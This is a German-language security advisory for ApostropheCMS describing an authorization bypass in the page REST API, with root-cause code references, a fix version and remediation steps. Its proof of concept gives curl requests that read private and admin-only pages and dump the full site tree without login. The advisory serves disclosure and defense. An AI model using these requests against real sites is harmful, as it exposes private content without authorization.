Mittel

ApostropheCMS: Autorisierungsumgehung in der Seiten-REST-API

  • Veröffentlicht: 20.10.2026
  • Aktualisiert: 20.10.2026 21:36

Zusammenfassung

Die zentrale Seiten-REST-API liest vollständige Seitendokumente mit .permission(false) in getOne und im all=1-Baum-Dump, wodurch Überprüfungen des Seitentyps für viewRole, visibility: private und visibility: loginRequired umgangen werden. Nicht authentifizierte Besucher und Mitwirkende mit geringen Rechten können über _id/Slug Seiteninhalte lesen, die nur Administratoren zugänglich oder nicht öffentlich sind.

Details

packages/apostrophe/modules/@apostrophecms/page/index.js:

  • getOne (L456–465): await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria) — kein Schwellenwert für viewRole, keine Filterung nach visibility.
  • all-Handler (L318–395): getRestQuery(req).permission(false) (L384–385) durchläuft jeden Seitentyp und gibt die Projektion einschließlich visibility zurück.
  • publicApiCheckAsync (L3044) prüft lediglich, ob publicApiProjection existiert — es erfolgt keine Autorisierung.
  • Eine korrekte Steuerung verhält sich anders: piece-type/index.js:getOne (L319–327) verwendet getRestQuery(req) ohne .permission(false) und erzwingt viewRole.

PoC

bash
# Anonymous (no session) — private, admin-only page:
curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200  {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page",
#         "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"}

# Anonymous full site-map dump (includes private + loginRequired pages):
curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1"        # → 200, full tree

# Contributor (cont_admin) reads full admin-only doc incl. protected field:
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200  secretData = TOP-SECRET-VALUE-abc123
# Controls (correctly enforced):
curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz"   # → 403
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft"   # → 403

Auswirkungen

Nicht authentifizierte Offenlegung von visibility: private- und loginRequired-Seiten (vollständige Dokumente, nicht nur Pfade) sowie der gesamten Websitestruktur mit Sichtbarkeits-/Typmetadaten; Mitwirkende können reine Administrator-Seitentypen und deren geschützte Felder einsehen. Da _id aufzählbar sind und über all=1 offengelegt werden, ist dies ein systemisches Problem.

Was zu tun ist

Aktualisieren Sie auf ApostropheCMS Version 4.33.0 oder höher.

Alternativ entfernen Sie .permission(false) aus getOne/all oder wenden Sie erneut den viewRole-Schwellenwert des Typs sowie dieselben Kriterien für visibility/erforderliche Anmeldung an, die von den Listen- und Autovervollständigungspfaden verwendet werden (Spiegelung von piece-type); setzen Sie publicApiCheck auf reine Konfigurationsanwesenheit und fügen Sie pro Verb einen expliziten Autorisierungsschritt hinzu.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket apostrophe < 4.33.0 4.33.0

Verweise

CVSS-Wert 5.3/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Schwäche (CWE)
CWE-863
Plattform
npm
Paket
apostrophe
Veröffentlicht
20.10.2026
Aktualisiert
20.10.2026 21:36

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-2j32-q6rx-h844 - CC BY 4.0

Schwachstellenhistorie: apostrophe

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (27) im Archiv
Einträge insgesamt
27
Erste → letzte
09.2020 10.2026
Ohne Fix
4
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 2
  • Hoch 8
  • Mittel 13
  • Niedrig 4

Veröffentlichungen pro Jahr

  1. 2020: 2
  2. 2021: 2
  3. 2022: 0
  4. 2023: 0
  5. 2024: 0
  6. 2025: 0
  7. 2026: 23
Schweregrad:
  1. ApostropheCMS: Autorisierungsumgehung in der Seiten-REST-API dieser Eintrag
    Mittel · 5.3 CVE-2026-110904 < 4.33.0 4.33.0
  2. Hoch · 7.3 CVE-2026-45011 = 4.29.0 keine Korrektur
  3. Kritisch · 9.8 CVE-2021-25979 >= 2.63.0, < 3.4.0 3.4.0

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.